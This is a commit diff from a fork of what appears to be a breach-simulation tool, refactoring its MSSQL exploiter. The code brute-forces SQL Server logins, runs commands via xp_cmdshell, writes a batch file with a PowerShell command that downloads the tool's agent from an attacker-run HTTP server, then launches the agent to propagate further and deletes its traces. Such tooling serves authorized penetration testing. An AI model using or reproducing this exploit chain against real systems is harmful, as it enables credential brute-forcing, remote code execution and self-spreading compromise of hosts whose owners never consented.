forked from p15670423/monkey
Merge pull request #2021 from guardicore/mssql-method-improvements
MSSQL method improvements
This commit is contained in:
commit
353594f505
|
@ -1,6 +1,7 @@
|
|||
import logging
|
||||
from pathlib import PureWindowsPath
|
||||
from time import sleep
|
||||
from typing import Sequence, Tuple
|
||||
|
||||
import pymssql
|
||||
|
||||
|
@ -33,7 +34,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
|
||||
# Single quotes are escaped in SQL by using two of them.
|
||||
# Example: 'It ain''t over ''til it''s over'
|
||||
MONKEY_DOWNLOAD_COMMAND = (
|
||||
AGENT_DOWNLOAD_COMMAND = (
|
||||
"powershell (new-object System.Net.WebClient)."
|
||||
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
||||
)
|
||||
|
@ -45,12 +46,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
"""
|
||||
First this method brute forces to get the mssql connection (cursor).
|
||||
Also, don't forget to start_monkey_server() before self.upload_monkey() and
|
||||
self.stop_monkey_server() after
|
||||
"""
|
||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||
agent_path_on_victim = get_agent_dst_path(self.host)
|
||||
|
||||
# Brute force to get connection
|
||||
creds = generate_identity_secret_pairs(
|
||||
|
@ -58,7 +54,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
self.options["credentials"]["exploit_password_list"],
|
||||
)
|
||||
try:
|
||||
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
||||
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
||||
except FailedExploitationError:
|
||||
logger.info(
|
||||
f"Failed brute-forcing of MSSQL server on {self.host},"
|
||||
|
@ -71,16 +67,10 @@ class MSSQLExploiter(HostExploiter):
|
|||
return self.exploit_result
|
||||
|
||||
try:
|
||||
# Create dir for payload
|
||||
self.create_temp_dir()
|
||||
|
||||
http_thread = self.start_monkey_server(monkey_path_on_victim)
|
||||
self.upload_monkey(monkey_path_on_victim)
|
||||
MSSQLExploiter._stop_monkey_server(http_thread)
|
||||
|
||||
self.run_monkey(monkey_path_on_victim)
|
||||
|
||||
self.remove_temp_dir()
|
||||
self._create_temp_dir()
|
||||
self._upload_agent(agent_path_on_victim)
|
||||
self._run_agent(agent_path_on_victim)
|
||||
self._remove_temp_dir()
|
||||
except Exception as e:
|
||||
error_message = (
|
||||
f"An unexpected error occurred when trying "
|
||||
|
@ -95,68 +85,9 @@ class MSSQLExploiter(HostExploiter):
|
|||
self.exploit_result.propagation_success = True
|
||||
return self.exploit_result
|
||||
|
||||
def create_temp_dir(self):
|
||||
logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}")
|
||||
|
||||
mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}"
|
||||
self._run_mssql_command(mkdir_command)
|
||||
|
||||
def upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
|
||||
self._write_download_command_to_batch_file(monkey_path_on_victim)
|
||||
self.run_payload_file()
|
||||
|
||||
def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath):
|
||||
agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
||||
http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
|
||||
)
|
||||
self._write_command_to_batch_file(agent_download_command)
|
||||
|
||||
def _write_command_to_batch_file(self, command: str):
|
||||
write_to_file_command = f"<nul set /p={command}>{self.payload_file_path}"
|
||||
self._run_mssql_command(write_to_file_command)
|
||||
|
||||
def _run_mssql_command(self, command: str):
|
||||
logger.debug(f"Running command on SQL Server: {command}")
|
||||
|
||||
self.cursor.execute(f"xp_cmdshell '{command}'")
|
||||
self.add_executed_cmd(command)
|
||||
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
|
||||
def run_payload_file(self):
|
||||
self._run_mssql_command(str(self.payload_file_path))
|
||||
|
||||
def run_monkey(self, monkey_path_on_victim: PureWindowsPath):
|
||||
self._write_agent_launch_command_to_batch_file(monkey_path_on_victim)
|
||||
self.run_payload_file()
|
||||
|
||||
def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim):
|
||||
agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
|
||||
self._write_command_to_batch_file(agent_launch_command)
|
||||
|
||||
def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath):
|
||||
monkey_args = build_monkey_commandline(
|
||||
self.host, self.current_depth - 1, monkey_path_on_victim
|
||||
)
|
||||
|
||||
return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}"
|
||||
|
||||
def remove_temp_dir(self):
|
||||
self._run_mssql_command(f"del {self.payload_file_path}")
|
||||
self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}")
|
||||
|
||||
def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
|
||||
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, str(monkey_path_on_victim), self.agent_repository
|
||||
)
|
||||
return http_thread
|
||||
|
||||
@staticmethod
|
||||
def _stop_monkey_server(http_thread):
|
||||
http_thread.stop()
|
||||
http_thread.join(LONG_REQUEST_TIMEOUT)
|
||||
|
||||
def brute_force(self, host, port, users_passwords_pairs_list):
|
||||
def _brute_force(
|
||||
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
|
||||
) -> pymssql.Cursor:
|
||||
"""
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
Main loop starts here.
|
||||
|
@ -213,3 +144,68 @@ class MSSQLExploiter(HostExploiter):
|
|||
raise FailedExploitationError(
|
||||
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
||||
)
|
||||
|
||||
def _create_temp_dir(self):
|
||||
logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}")
|
||||
|
||||
mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}"
|
||||
self._run_mssql_command(mkdir_command)
|
||||
|
||||
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
|
||||
http_thread = self._start_agent_server(agent_path_on_victim)
|
||||
|
||||
self._write_download_command_to_batch_file(agent_path_on_victim)
|
||||
self.run_payload_file()
|
||||
|
||||
MSSQLExploiter._stop_agent_server(http_thread)
|
||||
|
||||
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
|
||||
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, str(agent_path_on_victim), self.agent_repository
|
||||
)
|
||||
return http_thread
|
||||
|
||||
@staticmethod
|
||||
def _stop_agent_server(http_thread: LockedHTTPServer):
|
||||
http_thread.stop()
|
||||
http_thread.join(LONG_REQUEST_TIMEOUT)
|
||||
|
||||
def _write_download_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath):
|
||||
agent_download_command = MSSQLExploiter.AGENT_DOWNLOAD_COMMAND.format(
|
||||
http_path=self.agent_http_path, dst_path=str(agent_path_on_victim)
|
||||
)
|
||||
self._write_command_to_batch_file(agent_download_command)
|
||||
|
||||
def _write_command_to_batch_file(self, command: str):
|
||||
write_to_file_command = f"<nul set /p={command}>{self.payload_file_path}"
|
||||
self._run_mssql_command(write_to_file_command)
|
||||
|
||||
def _run_mssql_command(self, command: str):
|
||||
logger.debug(f"Running command on SQL Server: {command}")
|
||||
|
||||
self.cursor.execute(f"xp_cmdshell '{command}'")
|
||||
self.add_executed_cmd(command)
|
||||
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
|
||||
def run_payload_file(self):
|
||||
self._run_mssql_command(str(self.payload_file_path))
|
||||
|
||||
def _run_agent(self, agent_path_on_victim: PureWindowsPath):
|
||||
self._write_agent_launch_command_to_batch_file(agent_path_on_victim)
|
||||
self.run_payload_file()
|
||||
|
||||
def _write_agent_launch_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath):
|
||||
agent_launch_command = self._build_agent_launch_command(agent_path_on_victim)
|
||||
self._write_command_to_batch_file(agent_launch_command)
|
||||
|
||||
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
|
||||
agent_args = build_monkey_commandline(
|
||||
self.host, self.current_depth - 1, agent_path_on_victim
|
||||
)
|
||||
|
||||
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
|
||||
|
||||
def _remove_temp_dir(self):
|
||||
self._run_mssql_command(f"del {self.payload_file_path}")
|
||||
self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}")
|
||||
|
|
Loading…
Reference in New Issue